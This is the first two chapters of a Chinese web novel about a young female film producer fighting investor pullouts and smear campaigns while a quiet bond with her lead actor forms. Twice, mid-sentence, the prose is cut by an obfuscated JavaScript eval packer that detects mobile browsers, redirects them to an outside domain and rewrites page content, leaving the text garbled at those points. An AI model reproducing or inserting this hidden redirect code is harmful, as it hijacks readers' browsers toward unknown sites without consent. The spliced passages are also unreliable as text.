《制片人说她不想谈恋爱》 1. 第 1 章 初夏的阳光透过偌大的落地玻璃，将发布会现场笼罩在一片白晃晃的光晕中。 市中心富源酒店，此刻正举行着一场声势浩大的电影发布会。台下人声鼎沸，记者们围得水泄不通，长枪短炮对准舞台，仿佛恨不得从镜头里提前揪出这部电影的命运。 这部名为《暗潮》的电影，从立项之初便争议不断—— 题材敏感，投资起伏，主创阵容却意外豪华。 在整个行业普遍谨慎的环境下，它成了众矢之的。有期待，有看衰。所有人都在等：这部片子，到底会成为翻盘的奇迹，还是一场高调坠落的笑话？ 舞台中央，程今与主创团队在主持人的引导下陆续入座。 她身穿一身剪裁利落的黑色西装裙，发髻绾起，眉眼清冷，气场沉稳。聚光灯洒在她身上，衬得她在一众光鲜亮丽的演员间分外醒目——冷静、锋利，带着一种凌厉的专业感。 她是圈内少有的年轻女性操盘手。 三年内连推三部叫好又叫座的影片，一路稳扎稳打，从编剧起家到独立制片人，被誉为最具商业嗅觉与执行力的新锐之一。 但这一次，她选了最不讨巧的题材——警匪、卧底。 不再是熟悉的爱情线、文艺片，而是投入更多成本、更大挑战的类型片。资本曾短暂押注，却在中途纷纷退场。她硬是靠自己一个个谈回来，在这场没有退路的博弈中死撑到底。 她看向台下那片密密麻麻的镜头，视线扫过那些熟悉又陌生的面孔。 比起以往任何一次，这场发布会让她的神经绷得更紧。 她知道，《暗潮》是她押上的筹码。 赢了，她的名字将在这个行业真正站稳脚跟，不再被冠以“年轻”“女性”的标签，而是一个足以与任何人平起平坐的金牌制片人。 输了，她过去的光环、口碑、人脉，甚至未来的机会，可能会在一夜之间蒸发殆尽。 第一位记者抢先开口，语气带着探究和试探：“程制片，听说《暗潮》早期投资方曾一度打算撤资，最终又重新回到谈判桌，您是怎么做到的？” 程今抬起头，神色不动：“我们团队用了大量调研和脚本打磨来证明这部作品的可行性。影视项目最终还是要落回内容本身。愿意留下来的投资方，是看到了这一点。” 话音刚落，第二个记者迅速接上：“但你过去没有操盘过类似的类型片，也有人说，女性制片人不适合主导这种警匪题材。你怎么看？” 会场气氛微微一滞。 程今面不改色，却在心里轻笑了一下。这个问题，她太熟了。几乎每次项目，都会有人用性别来质疑她的能力。 “专业判断和执行力，与性别无关。”她声音不高，却足够清晰，“是否能拍好电影，不由性别决定，而由作品能否打动观众决定。” 她的回答不疾不徐，没有半点锋芒外露，却足够有力。 然而，她很清楚，这场发布会上的每一个问题，都像是在用放大镜检视她。 资本和市场，从来不介意捧出一个耀眼的女性，但一旦风吹草动，他们也会用最冷漠的方式将她踢下牌桌。 “那么，请问主演沈宴先生。” 另一名记者迅速抓住机会，话锋一转，将问题抛向坐在程今身边的年轻男演员。 “对您来说，这个角色最大的吸引力是什么？据我们所知，您近两年在业内口碑甚佳，但仍缺少真正分量级的奖项。为什么不选择更有把握的商业片，反而投身这样一部高风险作品？” 话筒落下，众人的目光随之聚焦。 沈宴身材修长，五官干净，坐姿不算拘谨，却自有一股沉稳自信。他并非顶流，也不像很多新生代偶像那样急于曝光，而是一步一个脚印，在各类影视作品中不断打磨演技，靠实力与口碑攒下了足够的行业认可。 但——距离真正爆发、拿到分量级奖项，似乎总还差临门一脚。 这一次，他的选择，无疑带着某种冒险的意味。 沈宴接过话筒，唇角带着一丝浅笑，声音温和而坚定：“我很喜欢这个角色的双面性。他既是警察，也是帮派卧底，对人性、信念有着深入的纠葛。我一直在寻找机会挑战更复杂的角色，正好遇到了《暗潮》。” 他的语气谦和，不卑不亢。 但记者并不打算就此作罢，追问直指核心：“那您觉得程制片能驾驭吗？据传项目投资一度陷入僵局，这次若再出现意外，可能会影响您的事业。” 台下的气氛微微一滞。 沈宴微微抬眼，似是无意地看了程今一眼，然后才接话，语调依旧沉稳：“我相信程制片有足够的能力和判断力。” 他没有刻意地护短，也没有回避风险，而是用一种冷静的信任态度回应质疑。 程今淡淡转头，与他视线短暂交汇，眼神中没有多余表情，只是点了点头，像是一种简洁而克制的回应。 她从来不指望谁替她挡风遮雨，也不期待在聚光灯下有人为她发声。 但沈宴的这句话，在她心底，还是泛起了极浅极浅的波澜。 她压下那些不必要的情绪，重新看向台下媒体。 她只想把项目做好，而她也相信——只要剧本扎实、导演团队优秀、演员演技在线，资本最终会看到它的价值。 发布会结束后，剧组在酒店宴会厅设宴，招待投资方、导演和主要演员。 灯影摇曳间，人声鼎沸。程今先是与导演、监制寒暄，又提着酒杯，逐一与各路资方周旋。 她脸上始终带着得体的笑意，语调不疾不徐，眼神清明，像往常那样稳重沉着。 但心里却很清楚——在资本场上，没有真正的同盟。 他们可以在你辉煌时频频举杯，也可以在风险来临时毫不犹豫地撤资。 只要资金无法实现最大化回报，他们随时都会抽身离场。 “程制片，听说你们这次的资金还有缺口？” 一个始终笑着的投资代表端着酒凑近，语气里藏着点随意的算计，“我们公司对这种题材其实挺有兴趣的，就是嘛……警匪题材，多少还是有点风险。” 他话锋一转：“不如考虑增加一点流量保证？比如小鲜肉演个辅助角色，炒炒CP、带带话题流量，稳住年轻观众的基本盘。” 程今微一抬眉，语气不温不火：“剧本已定稿，贸然改动恐怕会影响整体结构。观众也不总是买流量的账，故事才是核心。” 她回答得礼貌而克制，没有直接回绝，但也丝毫不给对方继续推进的空隙。 可那投资人显然没打算就此作罢，笑意不减，继续劝说：“您说得对，但商业片嘛，说到底还得看票房。小流量不一定能撑起全部，但至少能兜个底，稳妥，对吧？” 这是老调重弹了。 资本只看回报，不看内容质量。哪怕让一个连剧本都读不顺的小偶像演戏，也可以在他们眼里变成“有话题、有热度、有变现能力”的资源。 程今明白，这种对话不可能短时间内说出结果。 她可以应对，但无法在一杯酒的时间里颠覆他们的逻辑。想让他们闭嘴，不靠辩论，而是靠数据。 市场数据、舆论发酵、实际反馈，这些才是他们唯一信服的东西。 “我会和团队再评估。”她淡淡一笑，举杯示意，留下得体回应后转身离开。 走出几步后，她轻轻吐出一口气。 这类谈判她经历得太多了。但不知为何，今天格外令人疲惫，不是因为对方的咄咄逼人，而是她自己那种深切的孤独感，从发布会到酒局，无处藏身。 就在她走神间，旁边传来一道低低的声音：“你看起来不太好。” 她扭头，见沈宴站在不远处，手里拿着一杯果汁。没有礼节性的寒暄，也没有多余的同情，只是静静地看着她，像是看穿了她所有的情绪。 “要不要下去透口气？”他说得轻。 她眉梢轻挑，语气如常：“导演还在等我们讨论明天的流程，我哪有空透气？” 沈宴不急不缓地笑了笑：“他正在跟摄影指导聊分镜，大概还要二十分钟。” 程今怔了一下，才反应过来，他是在给她一个可以离开的理由。 她一向谨慎，不愿私下与演员有太多非工作接触。但此刻，她确实需要一点空间，哪怕只是短短十分钟。 “好。”她简单应了一声，迈步向外。 沈宴没有追上来，只是默默走在她身后，始终维持着半步的距离，既不靠近，也不疏远，像是小心翼翼地替她守住一片可以呼吸的空气。 . 酒店后花园，晚风轻拂，花香随风而至，隐隐裹着初夏夜晚特有的潮湿气息。 不远处的车水马龙被高墙隔绝，这片被精心修剪的园林仿佛是现实世界的缝隙，一个短暂脱离喧嚣的寂静角落。 程今坐在长椅上，眼睛微闭，手中握着一杯香槟，杯中气泡早已散尽，指尖却还在轻轻摩挲杯壁。像是借着这个动作强行压下翻涌的情绪。 她一向不让自己在外人面前露出脆弱。可这一天，从台上的每一个发言、每一个资本试探的笑脸，到席间滴水不漏的应对，她耗尽了太多力气。 她不会倒下。但她累了。 沈宴没有出声，只是站在她旁边，看着她微蹙的眉心。 他和她并不算熟，但从立项会议到今天的发布会，他眼睁睁看着她是如何一寸寸扛下那些几乎无法转圜的压力。他不清楚她是怎么做到的，只知道，如果换作别人，大概早已经放弃。 片刻静默后，他轻声开口，语气温和而平静：“你怎么不问我，为什么接这部戏？” 程今睁开眼，转头看向他，眼神依旧淡定：“我知道，你想要一个突破口。” 沈宴微怔，随即笑了笑。那笑容很浅，眼底却涌起一丝复杂——有被理解的意外，也有一抹不动声色的触动。 她说中了。他要的不只是转型，更是一次可以真正定义自己的角色。 风拂过夜色，他们的话语简短，却像是悄无声息地交换了某种共识。 他需要一个能真正证明自己演技的机会，她需要一个能撑起票房与口碑的核心角色。 他们此刻所说的每句话，都踩在真实边缘，像是一场无需铺陈的合作宣言。 夜风轻轻吹过，带着一点初夏的湿润气息。 沈宴看着她沉静的侧脸，忽然低声道：“有时候，我也会担心。” 程今微微侧目，看向他。 他语气平静，带着某种近乎客观的剖析：“这部片子承担的期望太大，反而容易被拉下水。万一中途真的出了什么变故……你会放弃吗？” 这句话并无挑衅意味，反而更像是一种冷静的关切。 在资本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15359140|168070||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面前，个人意志往往不堪一击。他见过太多项目，因为投资方临时撤资、制片方倒戈而胎死腹中。当现实的压力大到超出承受范围时，退场反倒成了某种无奈却合乎逻辑的选择。 可她会吗？ 程今没有立刻回答，只是定定地看着他，眼底沉静得像一片深海。她指尖轻敲杯壁，仿佛是在掂量，也像是在给自己一次缓慢却彻底的确认。 良久，她终于开口，语气不高，却异常坚定：“不会。输得起的人才有退路，我没有。” 沈宴盯着她的眼睛，那一瞬间，他看见了一种几近偏执的清醒。 那不是逞强，也不是孤注一掷，而是一种在无数风暴中站稳脚步、却仍不愿退让的意志。 不需要声张的倔强，不肯后退的锋芒。 他忽然明白了些事——她不是不累，而是没得选；她不是不怕，而是怕也得走下去。 那一刻，他心里忽然有了点什么，无法言说，却悄然发芽。 两人刚走到宴会厅门口，忽然，一阵急促的脚步声从身后传来。 副导演段林神色紧张，快步靠近程今，压低声音道：“程姐，您赶紧看看这个。” 程今皱眉，低头一看，手机屏幕上弹出一条最新的娱乐快讯—— 《暗潮》主要投资方无预警抽资，项目或将面临二次停拍！ 她指尖微微收紧，心里升起一股不祥的预感。 她立刻拨通投资方的电话，然而，耳边却只传来冷冰冰的语音提示—— “对方暂时无法接通。” 宴会厅里光影流转，酒杯碰撞声此起彼伏，热闹如常。可在程今的耳朵里，一切仿佛隔着水膜般失真。 几个记者察觉了动静，目光如刀般朝她投来，嗅觉灵敏的投资方也纷纷起身，朝这边探头张望。 这条消息一旦坐实，整个项目就会像溃坝的水，一夕倾覆。 沈宴第一时间察觉了她的神情变化，低声靠近：“怎么了？” 程今咬了咬牙，强迫自己镇定，脑海却已飞速运转。 “……有可能是试探。”她低声答，“也可能，是某人给我下马威。” 她迅速翻开手机，指尖滑过一封始终未读的新邮件，心里隐隐有种不好的预感。 标题赫然写着： “投资追加谈判取消，合作协议重新审议。” 程今闭了闭眼，压住情绪的翻涌。 “你先别声张，我需要处理些事。”她尽量让自己的语调听起来沉稳有序，随即快步走向宴会厅外。 然而，刚至门口，一名早有准备的娱乐记者直接迎面挡住她，话筒直直伸过来，语气犀利： “程制片，能否回应一下抽资传闻？《暗潮》是否将被迫中止拍摄？” 灯光骤然亮起，闪光灯像暴雨般落下，视线尽头，所有人都停下了动作，齐刷刷望向她。 程今一瞬间几乎感到自己被锁在了舞台中央——无处可退。 她强迫自己站直，面上波澜不惊，语气冷静：“目前尚无官方确认，项目拍摄照常进行。” 记者却紧咬不放：“那如果资金真断了，您会寻找新资本？还是停拍？” 她的指尖不动声色地收紧，那一瞬，内心某根绷得太久的弦“咔哒”一声几近断裂。 可她仍然没让情绪上脸。 她站定，目光沉稳，语气虽平静，却透着不容置疑的坚定：“我们有备用方案，项目不会停。至于具体细节，目前还不方便透露。” 一番话不卑不亢，甚至带着一丝强硬，让记者愣了片刻。 有人还想追问，可程今已经果断转身离开，没有再留给他们任何可趁之机。 她没有退路，也不会允许自己示弱。 沈宴原本打算跟上去，却被导演杨学宁叫住：“沈宴，待会儿还要确认一些拍摄细节。你……怎么脸色不太好？” 他脚步微顿，随即摇了摇头，视线仍然追随着程今逐渐远去的背影，语气淡淡：“没什么，只是这消息来得太突然。” 导演低声叹气，语气里透着难掩的担忧：“是啊，如果项目真出什么大问题，我们大家都难收场。” 沈宴心里更是沉甸甸的。 他比任何人都清楚，这部戏对他意味着什么。 这不仅仅是一部电影，而是他积蓄许久的破局之战，一个能证明自己、跃升更高台阶的机会。 可就在这个关键节点，剧组却风雨欲来，而她，那个冷静又固执的程今，正被推向风暴的中心。 他看着她被镜头包围、被质问、被迫转身离场的身影，心中莫名刺痛。 他曾一度以为她不需要任何人帮忙，不需要依靠、不需要情绪泄露。她永远那么镇定、那么锋利、那么难以靠近。 但现在，他第一次有些不确定。 那个步步为营、不容动摇的她，是不是也有撑不下去的一刻？ 在走廊的尽头，程今已经站定，手指微微收紧，拨通了最后一位可能援手的投资合伙人。 电话接通的瞬间，她缓缓开口，声音低得几乎带着一丝疲惫的沙哑—— “……我需要你的帮忙。最好，现在立刻。” 昏黄的走廊灯光洒落，她的背影依旧挺直，沉稳如常。 可沈宴却忽然觉得，光影之下，那样的背影，不只是冷静，还有一点点……脆弱。 2. 第 2 章 午夜的酒店门口，热闹已散。 黑色商务车与私家车交错驶离，空旷的大理石车道在灯光下泛着冷白色的光。发布会的余温还未彻底散去，但场地已经沉寂，只剩几盏保安灯亮着，像夜色中勉力维持秩序的瞭望哨。 程今快步从侧门走出，神色压得很低。 她依旧是那副干练挺拔的姿态，西装裙整洁，脚步利落。但眉间紧锁的褶痕暴露出情绪起伏——那不是她惯有的从容，而是一种快被现实磨断神经后的、强行□□的冷静。 助理小孙紧随其后，手机屏幕的冷光映在脸上，低声念着刚收到的最新消息： “程姐，我刚得到消息——下午才刚确定的那家小投资方，现在也开始观望，说要重新审查合约。” “还有……网上已经有通稿开始流传，暗示《暗潮》的资金链出现问题。” 程今脚步微顿，停在商务车前。 资本的试探比她预想得来得更快、更狠。 沉默几秒，她只是轻轻吸了口气，把情绪压进骨血。声音不高，却透着凌厉：“我知道了。你先回公司，整理出所有记者的联系方式，发给公关部。让他们立即拟一份声明，不急着发，但必须备好。” 小孙应声快步离开。 程今站定，仰头看了一眼暗沉沉的天空。 她眼神透出一瞬间的疲倦，但也只是一瞬。很快，她把碎裂的心绪收拾好，抬手轻揉了一下眉心，随即拉开车门坐了进去。 夜色如幕，风暴正在酝酿，而她，必须想出下一步反击的策略。 她话音刚落，一辆低调的黑色SUV从酒店正门缓缓驶过。 后排的车窗半降，沈宴正坐在里面。 他刚与导演、监制讨论完角色细节，正准备返程，却正巧看到程今站在路边。 两人的目光短暂交错。 程今只是微微颔首，算是打了个招呼，神色依旧淡定如常，并没有刻意停留。 沈宴也没有下车，只是对她略微点头示意。他们的合作刚刚开始，关系还未熟稔，他没有理由在此刻过多干预她的事务。 SUV疾驰而去，红色尾灯在夜幕中渐渐隐没。 程今回过神，轻声吩咐小孙：“走吧。” 商务车门自动打开，她坐进后排，神情重新归于冷静。 “先去公司，”她对前座的司机说，“我们还有很多工作要做。” 车子驶入城市灯火之中，霓虹倒映在车窗上，五光十色，像流动的光影，也像是一座永不眠的棋盘。 程今低头翻看手机，指尖在几封紧急邮件上滑过，目光冷静克制。 很快，她打开笔记本电脑，开始敲击键盘，草拟新的应对方案。 她已经没时间浪费了。 “你自己要小心身体。” 前座的小孙透过后视镜瞥了她一眼，忍不住提醒：“连轴转好几天了，这么熬下去，不是办法。” 程今摇了摇头，语气淡然，却带着不可撼动的坚定：“项目一旦出问题，会有更多人跟着倒霉。我们没得选。” 窗外的霓虹闪烁，像无数只潜伏在暗处的眸子，一瞬即逝，却暗藏危机。 . CBD核心区的高端写字楼，在午夜依旧灯火通明。 已过深夜十二点，大楼大厅里只剩下清洁人员推着清扫车缓缓移动，空旷的空间显得格外安静。 程今和小孙直乘电梯，抵达顶层的制片公司办公室。 门一推开，映入眼帘的，是一片紧张而忙碌的景象—— 公关部、项目负责人、财务团队，几乎所有核心成员都还未离开，围坐在会议桌前，讨论着各种应对方案。 看到程今到来，所有人倏地安静。 “程姐。” 公关负责人唐夕最先站起，眉头紧锁，语气严肃：“你看网上的风声越来越不对劲了。有人开始有意放大女性制片人、帮派题材、高风险投资这些标签……” 程今早有预感，面色不动，快步走到会议桌边，一边解开外套搭在椅背上，一边沉声指令：“第一时间做出回应，不能让质疑持续发酵。” 她环视一圈，目光锐利而笃定：“公关部立刻整理一份官方声明，重点传达——资金没问题，拍摄计划不变。” “不用解释得太细，否则更像此地无银三百两。” “语气要笃定，直接堵住流言的风口。” 公关团队立刻点头，迅速记录要点，准备行动。 然而，坐在会议桌另一侧的市场主管犹豫了一下，还是忍不住开口：“可是……另一家小投资方突然动摇，这难道不是资金问题的侧面印证？如果事态继续发酵，会不会伤到剧组内部士气？” 会议室里一时间短暂沉默。 有人停下手头动作，有人神情凝重地低头翻着文件，却没人接话。众人心里都明白，连锁反应若开始，无论是对外还是对内，局面都将迅速失控。 程今面无表情地放下笔记本，目光扫过全场，语气低稳：“稳定士气，统一口径。所有对外沟通必须走公关部流程，不许任何人擅自回应。” 她话锋一转：“至于那家观望的小资方，我会亲自再谈一轮。但我们真正需要守住的，是大资金主力。” “只要他们不走，我们就还有主动权。” 会议桌边的紧张情绪稍缓，但依旧像一根拉满的弦，随时可能崩断。 有人悄悄握紧手中的笔，有人掩饰般地抿了口冷掉的咖啡。 程今却已经低头打开电脑，迅速调出几份核心报表和资金流动表，手指飞快地在键盘上敲击，连一秒都不浪费。 她太清楚资本的规则了。 她清楚每一个投资人的脾气，知道他们的利益点在哪，知道他们如何衡量风险，知道他们什么时候会试探，什么时候会真正撤资。 她不是没有恐惧，只是，她没时间去恐惧。 她抬眸，声音不疾不徐，却带着一股强势的压迫感 “稳住。” “资本最不喜欢的，就是慌乱。” . 凌晨两点，会议才暂告一段落。 办公室里，大多数人已经带着任务离开，准备通宵加班，程今揉了揉太阳穴，指尖微微发凉。 她让小孙先回去休息，独自留在顶层办公室。 “叮。” 手机震动，她低头看了一眼，屏幕上跳出一条最新的新闻推送—— 《暗潮》疑似因女性制片人能力不足致资金链断裂，行业唱衰声四起。 她的目光微微一凛，点开链接。 那是一篇精心包装的“匿名爆料”，语气不重，却刀刀见血： “程今此前主导的项目皆为文艺小片，市场经验匮乏。” “转型做警匪商业题材，是在硬蹭男性赛道红利。” “女性制片人对男性市场了解不足，想复制商业成功，恐怕太过天真。” 每一句话都写得若即若离，语气仿佛只是“中立分析”，却在评论区迅速被放大、转发、发酵，甚至引来了几个大V跟进点评。 熟悉的节奏，熟悉的套路。 程今盯着屏幕，目光一点点沉下去。 资本试探、流言渗透、投资动摇，每一环都配合得天衣无缝。她像站在悬崖边，被人一点点逼近，连回旋的空间都被封死。 她合上手机，打开电脑，点进一份空白文档，开始敲下一行标题： 《给所有信任这部作品的人》 她要写一封回应，但不是为自己辩解。 而是为《暗潮》，为整个团队，立住信心的锚。 可还没写两个字，桌上的电话骤然响起。 她接起，电话那头传来副导演段林焦急的声音：“程制片，明天我们要跟道具组和武行团队进行实景彩排，可如果资金真断了，我们连搭景的钱都得精打细算……能不能暂缓？” 她沉默两秒，眼神凌厉了几分，手指轻轻敲着桌面。 “不。”她开口，语气低缓，却异常坚定，“不能停。” 程今静默了两秒，强行压下心头翻涌的火气，声音依旧克制而坚定：“我已经在找新的补救方案，你们按原计划执行，别让团队士气掉下去。” 电话那头的段林犹豫了一下：“可是……” “别可是了，按原计划走。” 她的语气不容置疑，每一个字都透着不容商量的坚决：“有任何变动，我会通知你们。” 话音落下，她直接挂断了电话。 挂断电话，她靠回椅背，长出一口气，像是把一身的怒意和疲惫都封进呼吸里。 落地窗外，夜色沉沉。整座城市像沉在一池无声的深水中，车灯闪烁，高楼林立，她的身影倒映在玻璃上，显得格外孤独。 很多人此刻已经熟睡，但她的战场依旧没有硝烟地延续着。 她没有退路，也不会允许自己倒下。 夜还很长，而她，还有很多事要做。 . 上午七点，晨曦洒落五星级酒店的大堂，冷色调的玻璃幕墙映出城市天际线，像一层层未掀开的战幕。 程今几乎整夜未眠，但仍然强撑着精神，对着后视镜整理了一下头发，让自己看上去依旧利落、从容。 她不能显露一丝疲态。 她必须拿下这一场谈判。 瀚海传媒——背后多条出资管线，一旦合作达成，就能迅速填补《暗潮》当前的资金缺口。 她步入酒店，步履利落，直奔预约的包厢。 推门而入，瀚海副总顾修与投资经理李曼已在桌前等候。两人西装笔挺，神色从容，桌上空空如也，连资料都未翻开，显然不是来听汇报，而是……评估猎物。 “程制片，你好。” 顾修伸出手，笑意礼貌而淡漠，语气却并不遮掩：“我听说《暗潮》最近似乎……遇到了一些风波。” 程今不动声色，微微颔首，声音清淡如水：“只是些没有根据的谣言，不影响项目实质进展。” 她在对面入座，动作平稳，保持着适度距离，却巧妙地掌控了对话节奏。 李曼打开平板，点出几条新闻，语气不轻不重：“网上的传闻可不少。我们虽然对《暗潮》有兴趣，但必须先确认风险。如果各方都不看好，瀚海也不可能贸然接盘。” 这是一贯的资本试探，不置可否，先把皮球踢到她这边。 程今笑了笑，不急着辩解，而是直接拿出自己的资料。 “两位可以先看看我们对市场的评估，以及剧本大纲、卡司阵容，还有已经签署合同的发行渠道……” 她一边演示PPT，一边条分缕析地讲解项目亮点，精准切入票房潜力、话题度、演员粉丝群体，甚至涉及海外发行的可能性。 她边演示边讲解，数据精准，逻辑清晰，语速不紧不慢，将所有可能被质疑的点提前掐灭。 她的语气不激不扬，却自带一股不容忽视的压迫感。 顾修和李曼对视一眼，显然对她的准备并非全然无动于衷。 但资本从不轻易松口，顾修仍旧谨慎：“可你们现在最大的问题，是现有资金链动荡。如果瀚海要补位进来，势必要承担不小的风险，对吗？” 程今的目光没有一丝退缩。 她冷静地退出PPT，双手交叠置于桌面，迎着两人的目光，语气平稳而果决—— “所以我愿意签署对赌条款。” “只要《暗潮》票房达不到预期，我愿意放弃一部分制片人分红，甚至可以延迟收回个人制片费用。” 这句话一出，包厢内一瞬间静了片刻。 顾修和李曼显露出几分惊讶——他们当然清楚，这种对赌条款意味着什么。 程今是在用自己的收益下注，如果电影票房不达标，她将血本无归，甚至制片人的名声也会受到极大影响。 顾修敛去意外的神色，嘴角微微扬起，带着一丝赞许：“你很有魄力。” 但他话锋一转，眼神深不可测：“如果是这样，我们可以回去再商量一下。” 这不是承诺，而是继续观望的试探。 程今早就习惯了这种场合的推拉，淡淡一笑，语气依旧沉稳：“如果能有个时间表就更好了。项目已经进入拍摄前期，每拖一天都是巨大成本。” 顾修正要说话，李曼的手机忽然震动。 他看了一眼屏幕，眉头微皱，随即将信息递给顾修。 顾修的神色，微妙地发生了变化。 他收起手机，表情依旧风轻云淡，却带着某种耐人寻味的意味，抬起头看向程今，语调意味深长： “程制片，我们得好好评估一下，再和你联系。” 程今心里一沉。 她敏锐地察觉到，这绝不仅仅是普通的市场观望——对方似乎得到了某些新消息，甚至可能与《暗潮》的资金风波直接相关。 但她没有急于追问，而是依旧保持得体的微笑，起身相送，保持体面。 两人离开包厢前，顾修停下脚步，侧头看向她，留下一句意味深长的话—— “《暗潮》很有潜力。只是……有些传言，实在有些惊人。希望你能尽快澄清。” 门合上的一瞬，程今指节轻颤，几乎攥痛了手中的笔记本。 她极少有这种感觉—— 一种濒临失控的边缘感，一种隐隐约约的预感： 在她尚未查明的某处，一场更深的风暴，已经开始酝酿。 送走瀚海传媒的人后，程今立刻回到办公室，神色冷峻，脚步疾快。 她一进门，便直接对小孙下令：“查一下某些传言到底指什么。” 小孙迅速在网上检索，没过几分钟，便找到了一条黑料帖子。 《匿名爆料：程今操纵制片资源，为达目的不择手段》 她皱眉点开，帖子内容充斥着含沙射影的指控，甚至列出了所谓“内幕证据”—— “她通过私人关系抢夺项目资源。” “为了融资，不惜做出某些交易。” “项目频频出现资金问题，程今的能力或许被高估。” 全篇内容没有一条实锤，却利用影射、暗示、匿名“知情人”爆料的方式，精准挑动着行业内的敏感神经。 “这是谁在抹黑？” 程今看着那些恶意编织的谎言，怒火几乎冲上头顶。 她眯起眼，回想起顾修和李曼临走前的神色变化，心里瞬间有了答案，瀚海传媒很可能已经看到了这篇帖子。 尽管帖子没有实际证据，但在资本眼中，这种“舆论风险”才是最致命的。舆论走偏，她就成了“风险”，项目也会成了“高危投资品”。 如果处理不当，再多的营销和数据，都无法挽回投资方的信心。 她深吸一口气，努力让自己的思绪保持冷静，随即果断下令—— “加快动作。找到帖子来源，联系公关删帖，我要对方的IP和后台信息。” 小孙立刻点头，迅速操作。 程今眼神锐利，语气不容置疑：“还有，私下去问问，看看有没有竞争对手，或者过去的熟人在搞鬼。” 她的脸上没有太多情绪，甚至连怒意都在刻意压制，但那种随时可能爆发的锋利冷意，让整个办公室气压都低得吓人。 她知道，这种级别的抹黑，不可能凭空出现。 自从她决定主导《暗潮》，就势必触动了一些人的利益，眼下的风波，很可能是人为操控的精准打击。 而她，必须找出幕后推手，在资本真正动摇之前，彻底反击。 下午六点，夕光斜落。 程今从会议室出来，刚结束最后一轮与动作指导、美术总监的沟通，整个人几乎靠意志力在支撑。 资金还没有补上，项目依旧如履薄冰，但她不能让任何一个部门停下。只要有一个环节停滞，“资金链出问题”的风声就会像野火一样蔓延。 公司与片场之间，她几乎是马不停蹄地来回奔波。 手机一刻不停地震动。 有投资人试探性地探口风； 有新闻媒体想要独家采访； 也有朋友或同行发来关切的消息。 她一一处理，冷静而迅速，像个没有情绪的程序执行器。 直到终于结束今天最后一个拍摄协调会，她走出片场，正想找个角落喘口气，却在门口撞见了沈宴。 他刚从另一头的道具组走过来，手里还拿着剧本，像是刚跟动作组敲完明天的场面。 两人本能地对视一眼，本该只是点头致意、各走各路。 谁知导演刚好路过，冲他们一笑：“晚上一起吃个简餐吧？也正好说说接下来几场戏的节奏。” 程今一愣，下意识看了沈宴一眼。 他没什么反应，只是语气平淡：“你来吗？” 她低头看了眼手机，屏幕还亮着一封未读的媒体来信，标题触目惊心。 她忽然觉得很累。 不是那种能睡一觉就好的疲惫，是从骨子里透出来的压力叠加。 也许是导演那句“讨论戏份”给了她一个可以暂时逃避现实的理由，也许只是想安静坐一会儿——哪怕只是吃顿饭。 “好。”她点头。 语气一如既往平稳。 但只有她自己知道，点头的瞬间，手心竟有一丝微凉的潮意。 沈宴侧头看她一眼，唇角勾起一抹不甚明显的弧度：“那走吧。” 那语气仿佛他们一起吃饭，不是什么特别的事，只是合作中的某个寻常瞬间。 可她不知道的是，他本可以拒绝的邀请，却早早答应，只因知道她今天，走得太辛苦。 三人来到片场附近的一家偏僻小餐馆，地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15359141|168070||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方不算高级，但胜在安静，不招摇。 杨学宁随意翻着菜单，一边兴致勃勃地讲述下一场枪战戏的构思：“我想试着在一条狭窄巷道里做高压对峙，借助灯光、烟雾营造那种窒息感，最好能一镜到底。” 沈宴坐在一侧，侧身听得专注，偶尔点头，低声提出自己的理解和补充。他对角色理解颇深，显然不是走过场，甚至提出了一些细节建议，比如某个呼吸停顿、眼神转换，都精准得让人意外。 程今则从制片角度快速评估拍摄难度与预算空间，语气一如既往利落：“灯光预算可以压到第二方案里，烟雾机可以借用特效组库存，至于一镜到底……场地要提前一整天封控，协调难度很大，但如果能拍到理想效果，也值得试一试。” 三人你来我往，竟意外地高效又默契。 用餐间，杨学宁注意到程今神色间带着几分疲惫，终于还是忍不住关切地问：“你还好吧？我听说投资的事儿闹得挺凶……” 程今放下筷子，轻轻垂眼，指尖微收，语气平淡：“没什么大问题，谣言而已。项目还在正常推进。” 杨学宁点点头，没再追问，只叹了口气：“好，希望一切顺利。” 作为导演，他不会深度介入资本层面的事，但他很清楚，这场风波绝不会轻易平息。 一直安静听着的沈宴，这时才缓缓开口，声音低而稳：“若有什么需要我配合宣传的地方，或者需要更多对外展示项目亮点，尽管告诉我。” 他抬眸，语气淡然，却透着一丝认真：“资本的事我插不上手，但如果需要宣传方面的配合，我随时可以帮忙。” 程今心里微微一动，眼神里没什么特别的情绪波动，但心里那根弦，却忽然松了一点。 她很清楚这句话意味着什么——一个男演员主动愿意承担曝光与风险，只为稳住项目的外部信心，这本身就是一份不可多得的信任。 这种态度，让她觉得舒适，也体现了某种尊重。 她轻轻应了一声：“好。” 对方也没再追问，点到即止。 他们都清楚，这是第一次合作，彼此还不算熟，理应保持界限。 娱乐圈是个极容易被捕风捉影的地方，任何越界的举动，都会引来不必要的揣测。 饭后，杨学宁先行离开，赶去现场确认搭景。 沈宴的司机已经在外等候，他告别得体而简短，没做额外停留，像是清楚程今的时间同样宝贵，不必再寒暄。 程今轻轻颔首，看着他转身走远，步伐不急不缓，没留下任何多余的寒暄。 等那道身影消失在车门，她才重新低头翻开手机。 未读信息堆成一屏，有公关组的风险预警，有媒体发来的采访邀约，还有瀚海那边的消息提醒。 风还没停，局还未落。 她拿起外套，快步离开餐馆，重新投入战场。 